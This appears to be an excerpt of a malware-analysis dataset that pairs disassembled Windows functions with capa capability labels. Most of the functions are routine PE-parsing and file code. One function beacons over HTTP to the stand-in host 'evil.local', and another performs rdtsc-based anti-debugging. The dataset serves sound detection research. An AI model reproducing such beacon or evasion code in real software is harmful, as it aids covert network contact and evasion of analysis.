joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100401640
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x80]
mov rbx, rcx
test rcx, rcx
je 0x1004016d5
mov edx, 0x2f
call sub.msys_2.0.dll_strrchr
test rax, rax
je 0x1004016b5
lea r8, [rax + 1]
mov rdx, r8
sub rdx, rbx
cmp rdx, 6
jle 0x1004016b5
lea rsi, [rax - 6]
mov ecx, 7
lea rdi, str._.libs_
repe cmpsb byte [rsi], byte [rdi]
seta dl
sbb dl, 0
test dl, dl
jne 0x1004016b5
cmp byte [rax + 1], 0x6c
jne 0x1004016d0
cmp byte [r8 + 1], 0x74
jne 0x1004016d0
cmp byte [r8 + 2], 0x2d
jne 0x1004016d0
lea rbx, [rax + 4]
mov rax, qword [sym.imp.msys_2.0.dll_program_invocation_short_name]
mov qword [rax], rbx
mov rax, qword [sym.imp.msys_2.0.dll_program_invocation_name]
mov qword [0x10040c020], rbx
mov qword [rax], rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rbx, r8
jmp 0x1004016b5
call sub.msys_2.0.dll___getreent
mov r8d, 0x37
mov edx, 1
lea rcx, str.A_NULL_argv_0__was_passed_through_an_exec_system_call._n
mov r9, qword [rax + 0x18]
call sub.msys_2.0.dll_fwrite
call sub.msys_2.0.dll_abort
nop
nop
nop
nop
nop
nop
Function at 0x100404110
Capabilities:
Query environment variable

Disassembly:
push rbp
push r14
push r13
push r12
push rdi
push rsi
push rbx
mov rbp, rsp
sub rsp, 0x40
xor ecx, ecx
call fcn.100404510
mov r12, rax
test rax, rax
je 0x100404280
mov rsi, rax
mov ecx, 9
lea rdi, str.US_ASCII
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x1004041e0
mov ecx, 6
lea rdi, [0x1004084ca]
mov rsi, r12
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x1004041cb
xor r13d, r13d
mov edi, 0x17
lea rsi, str.CP1361
jmp 0x10040418e
je 0x100404290
mov rdi, rbx
cmp r13, rdi
jae 0x1004041bb
lea rdx, [rdi + r13]
mov rbx, rdx
and rdx, 0xfffffffffffffffe
shr rbx, 1
add rdx, rbx
lea r14, [rsi + rdx*8]
mov rdx, r12
mov rcx, r14
call sub.msys_2.0.dll_strcmp
test eax, eax
jns 0x100404180
lea r13, [rbx + 1]
cmp r13, rdi
jb 0x10040418e
cmp byte [r12], 0
lea rax, [0x1004084a1]
cmove r12, rax
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop rbp
ret
lea rcx, str.LC_ALL
call sub.msys_2.0.dll_getenv
test rax, rax
je 0x1004042a0
cmp byte [rax], 0
je 0x1004042a0
mov edx, 0x2e
mov rcx, rax
call sub.msys_2.0.dll_strchr
test rax, rax
je 0x100404236
lea r12, [rax + 1]
mov edx, 0x40
mov rcx, r12
call sub.msys_2.0.dll_strchr
test rax, rax
je 0x1004041cb
sub rax, r12
mov rbx, rax
cmp rax, 0xc
jbe 0x1004042e0
call qword [sym.imp.KERNEL32.dll_GetACP]
lea r12, [rbp - 0xd]
lea r9, str.CP_u
xor edx, edx
mov dword [rsp + 0x20], eax
mov rcx, r12
mov r8d, 0xd
call sub.msys_2.0.dll___sprintf_chk
mov rdx, r12
mov r8d, 0xd
lea rcx, [0x10040c180]
call sub.msys_2.0.dll___strcpy_chk
lea r12, [0x10040c180]
jmp 0x100404152
lea r12, [0x1004084a0]
jmp 0x10040416c
lea r12, [r14 + 0xc]
jmp 0x1004041cb
lea rcx, str.LC_CTYPE
call sub.msys_2.0.dll_getenv
test rax, rax
je 0x1004042ba
cmp byte [rax], 0
jne 0x1004041fe
lea rcx, str.LANG
call sub.msys_2.0.dll_getenv
test rax, rax
je 0x100404236
cmp byte [rax], 0
je 0x100404236
jmp 0x1004041fe
mov rdx, r12
mov r9d, 0xd
mov r8, rax
lea rcx, [0x10040c180]
lea r12, [0x10040c180]
call sub.msys_2.0.dll___memcpy_chk
mov byte [r12 + rbx], 0
jmp 0x1004041cb
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a960]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a970]
mov dword [rax], 1
mov rax, qword [0x14000a980]
mov dword [rax], 1
mov rax, qword [0x14000a900]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a950]
mov dword [0x14000d020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000aa30]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000aa10]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a8b0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1400015c7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push rbp
sub rsp, 0x1e0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001604
lea rax, str.WSAStartup_failed_n
mov rcx, rax
call dbg.printf
jmp 0x14000178e
lea rax, str.evil.local
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0
jne 0x140001645
lea rax, str.Calling_evil.local_n
mov rcx, rax
call dbg.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x14000178e
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x150], rax
cmp qword [rbp + 0x150], 0xffffffffffffffff
jne 0x14000168c
lea rax, str.Socket_creation_failed_n
mov rcx, rax
call dbg.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x14000178e
mov word [rbp - 0x60], 2
mov ecx, 0x50
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
mov rax, qword [rbp + 0x158]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp - 0x5c], eax
lea rax, [rbp - 0x60]
add rax, 8
mov r8d, 8
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x150]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jns 0x140001720
lea rax, str.Calling_evil.local_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x14000178e
lea rax, str.GET___HTTP_1.1_r_nHost:_evil.local_r_n_r_n
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rdx, qword [rbp + 0x148]
mov rax, qword [rbp + 0x150]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, str.Calling_evil.local_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
nop
add rsp, 0x1e0
pop rbp
ret

Function at 0x140001bf0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001c60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d0b4]
mov rbx, rcx
test esi, esi
jle 0x140001d90
mov rax, qword [0x14000d0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001cab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001c90
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001db2
mov rax, qword [0x14000d0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001d2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d40
add dword [0x14000d0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001cb8
mov rax, qword [0x14000d0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002320
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d100]
test rbx, rbx
je 0x14000237c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002373
test rsi, rsi
je 0x140002373
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002358
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025a8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400025b0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400025c0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000260d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002604
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000260f
add rax, 0x28
cmp rax, r9
jne 0x1400025f0
xor eax, eax
ret

Function at 0x140002610
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400026a0
mov rdx, qword [0x14000a900]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000268e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000268e
cmp word [rax + 0x18], 0x20b
jne 0x14000268e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400026a0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002679
add rbx, 0x28
cmp rbx, rdi
je 0x1400026a0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002670
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400026b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a900]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400026d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400026d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000272d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002724
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400026d0
add rax, 0x28
cmp rax, r9
jne 0x140002710
xor eax, eax
ret

Function at 0x140002730
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a900]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000274f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002758
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000274f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002770
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a900]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002790
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002798
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002790
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400027e0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400027d7
test rcx, rcx
je 0x140002790
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400027c8
xor eax, eax
ret
Function at 0x1400027f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a900]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000280f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002818
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002830
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a900]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002850
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002858
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002850
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002850
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400028a4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400028b0
add rdx, 0x28
cmp r9, rdx
jne 0x140002890
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400028c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a900]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400028e2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400028f0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400028e2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400028e2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400028e2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002945
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002958
add rdx, 0x28
cmp rdx, r10
jne 0x140002930
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002967
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002977
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000294e
test ecx, ecx
jg 0x140002960
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x100111e
Capabilities:
Execute anti-debugging instructions

Disassembly:
movabs rax, 0xb2d05e00
mov rbx, rax
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, rbx
jb 0x1001137
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0xffffffff9f345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x100115e
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x1001157
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x101016c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x58], rsi
mov rsi, rcx
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
mov qword [rsp + 0x60], rax
test rax, rax
je 0x10102cf
lea rdx, [0x010064c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x268], rax
test rax, rax
jne 0x10101d2
and dword [rsp + 0x20], eax
lea rdx, [0x01043108]
lea rcx, [rsp + 0x20]
call fcn.01037158
lea rdx, [0x010064d0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x270], rax
test rax, rax
jne 0x1010203
and dword [rsp + 0x24], eax
lea rdx, [0x01043108]
lea rcx, [rsp + 0x24]
call fcn.01037158
lea rdx, [0x010064e0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x278], rax
test rax, rax
jne 0x1010234
and dword [rsp + 0x28], eax
lea rdx, [0x01043108]
lea rcx, [rsp + 0x28]
call fcn.01037158
lea rdx, [0x010064f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x280], rax
test rax, rax
jne 0x1010265
and dword [rsp + 0x2c], eax
lea rdx, [0x01043108]
lea rcx, [rsp + 0x2c]
call fcn.01037158
lea rdx, [0x01006500]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x288], rax
test rax, rax
jne 0x1010296
and dword [rsp + 0x30], eax
lea rdx, [0x01043108]
lea rcx, [rsp + 0x30]
call fcn.01037158
lea rdx, [0x01006518]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x290], rax
test rax, rax
jne 0x10102c8
and dword [rsp + 0x34], eax
lea rdx, [0x01043108]
lea rcx, [rsp + 0x34]
call fcn.01037158
nop
mov rax, rdi
jmp 0x10102cf
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x1010674
Capabilities:
Read .ini file

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x01046880]
lea rcx, [r11 - 0x18]
mov rbp, r8
mov qword [r11 - 0x18], rax
mov rbx, rdx
call fcn.010108bc
mov rsi, qword [rsp + 0x70]
test rsi, rsi
je 0x1010703
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasw ax, word [rdi]
not rcx
cmp rcx, 1
je 0x1010703
mov edi, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.01010e90
lea r8, [0x010063c0]
lea rdx, [0x01006430]
mov rcx, rbp
mov r9, rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rcx, [rsp + 0x30]
or edx, 0xffffffff
call fcn.01010f00
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.0101074c
lea rcx, [rsp + 0x30]
call fcn.01010940
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x101193c
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 0x10], rdx
push rdi
sub rsp, 0x20
mov rax, qword [0x01046850]
lea rsi, [0x01006540]
xor ebp, ebp
mov qword [rcx], rax
mov rax, rsi
mov rdi, rcx
shr rax, 0x10
cmp ax, bp
jne 0x10119be
movzx ebx, si
xor r8d, r8d
mov edx, ebx
call fcn.010121b4
cmp eax, ebp
jne 0x10119e7
mov rax, qword [0x01046850]
lea rdx, [0x01006548]
lea rcx, [rsp + 0x38]
mov r8d, ebx
mov qword [rsp + 0x38], rax
call fcn.010120b8
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x38]
call fcn.01011894
jmp 0x10119e7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, ebp
je 0x10119e7
movsxd rbx, eax
mov rcx, rdi
mov rdx, rbx
call fcn.01011728
mov rcx, qword [rdi]
mov r8, rbx
mov rdx, rsi
call fcn.0102a120
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x10122b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov rbx, rcx
test r8d, r8d
je 0x1012378
test r9, r9
je 0x1012378
call fcn.01012478
test eax, eax
je 0x1012378
and qword [rsp + 0x40], 0
xor r9d, r9d
lea r8, [rsp + 0x40]
lea edx, [r9 + 1]
lea rcx, [0x01006580]
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
mov r8, qword [rsp + 0x40]
mov rcx, qword [rbx + 0x10]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
cmp qword [rsp + 0x40], 0
je 0x101233f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
and qword [rsp + 0x30], 0
mov rcx, qword [rbx + 0x10]
xor r9d, r9d
lea r8d, [r9 + 1]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx], rax
cmp rax, 0xffffffffffffffff
jne 0x101238f
and qword [rbx], 0
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
and qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, esi
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
test eax, eax
jne 0x10123b5
mov rcx, rbx
call fcn.010123f8
mov rcx, rbx
call fcn.010123c8
mov eax, edi
jmp 0x101237a

Function at 0x10123f8
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x280
mov rax, qword [0x01045480]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbx, rcx
call fcn.010123c8
test eax, eax
jne 0x1012423
xor eax, eax
jmp 0x1012459
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1012454
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x1012454
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x101241f
mov eax, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.01029cb0
add rsp, 0x280
pop rbx
ret
Function at 0x1012478
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x20
xor r13d, r13d
mov rbx, rcx
cmp qword [rcx + 0x28], r13
je 0x10124ac
cmp dword [rcx + 0x30], r13d
je 0x10124ac
call fcn.010125e0
jmp 0x1012533
call fcn.010123c8
mov rcx, rbx
call fcn.01012718
lea rdx, [rsp + 0x40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov r12d, eax
cmp eax, r13d
je 0x1012531
mov rdi, r12
add rdi, rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
cmp rax, r13
je 0x1012531
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapSize]
mov rdx, rsi
shr rax, 1
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, r13d
jne 0x101254c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
mov ebp, r13d
lea edi, [r12 + r12 + 0x208]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx + 0x10], rax
cmp rax, r13
je 0x10125b1
lea rdx, [0x01006600]
mov r9, rax
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
cmp eax, r13d
jbe 0x10125b1
mov rdi, qword [rbx + 0x10]
cmp r13w, word [rdi]
je 0x10125b1
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasw ax, word [rdi]
lea ebp, [rax + 1]
not rcx
dec rcx
